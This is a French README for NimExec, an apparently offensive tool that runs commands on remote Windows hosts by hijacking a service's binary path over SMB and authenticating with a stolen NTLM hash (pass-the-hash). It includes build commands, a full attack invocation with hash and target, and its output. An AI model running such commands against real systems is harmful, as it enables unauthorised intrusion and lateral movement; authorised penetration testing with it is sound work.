
Exécution de commandes sans fichier pour le mouvement latéral en Nim
En résumé, NimExec est un outil d'exécution de commandes à distance sans fichier qui utilise le protocole distant du gestionnaire de contrôle de services (MS-SCMR). Il modifie le chemin binaire d'un service aléatoire ou donné exécuté par LocalSystem pour exécuter la commande spécifiée sur la cible et le restaure ensuite via des paquets RPC fabriqués à la main plutôt que par des appels WinAPI. Il envoie ces paquets via SMB2 et le tube nommé svcctl.
NimExec a besoin d'un hash NTLM pour s'authentifier auprès de la machine cible et termine ce processus d'authentification avec la méthode d'authentification NTLM via des paquets fabriqués à la main.
Étant donné que tous les paquets réseau requis sont fabriqués manuellement et qu'aucune fonction spécifique au système d'exploitation n'est utilisée, NimExec peut être utilisé sur différents systèmes d'exploitation grâce à la capacité de compilation croisée de Nim.
Ce projet a été inspiré par l'outil SharpNoPSExec de Julio. Vous pouvez considérer NimExec comme une version compatible avec la compilation croisée et intégrant le Pass the Hash de SharpNoPSExec. De plus, j'ai appris les structures de paquets réseau nécessaires à partir du script Invoke-SMBExec de Kevin Robertson.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
La commande ci-dessus utilise un garbage collector différent car celui par défaut dans Nim provoque des erreurs SIGSEGV lors du processus de recherche de service.
Vous pouvez également installer les modules Nim requis via Nimble avec la commande suivante :
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Il a été testé contre Windows 10 et 11, Windows Server 16, 19 et 22 à partir de machines Ubuntu 20.04 et Windows 10.
-v | --verbose Active une sortie plus verbeuse.
-u | --username <Nom d'utilisateur> Nom d'utilisateur pour l'authentification NTLM.*
-h | --hash <Hash NTLM> Hash du mot de passe NTLM pour l'authentification NTLM.**
-p | --password <Mot de passe> Mot de passe en texte clair.**
-t | --target <Cible> Cible du déplacement latéral.*
-c | --command <Commande> Commande à exécuter.*
-d | --domain <Domaine> Nom de domaine pour l'authentification NTLM.
-s | --service <Nom du service> Nom du service au lieu d'un service aléatoire.
--help Affiche le message d'aide.
Pour des tests de sécurité autorisés uniquement. Toute utilisation abusive de cet outil contre des systèmes sans autorisation explicite est illégale.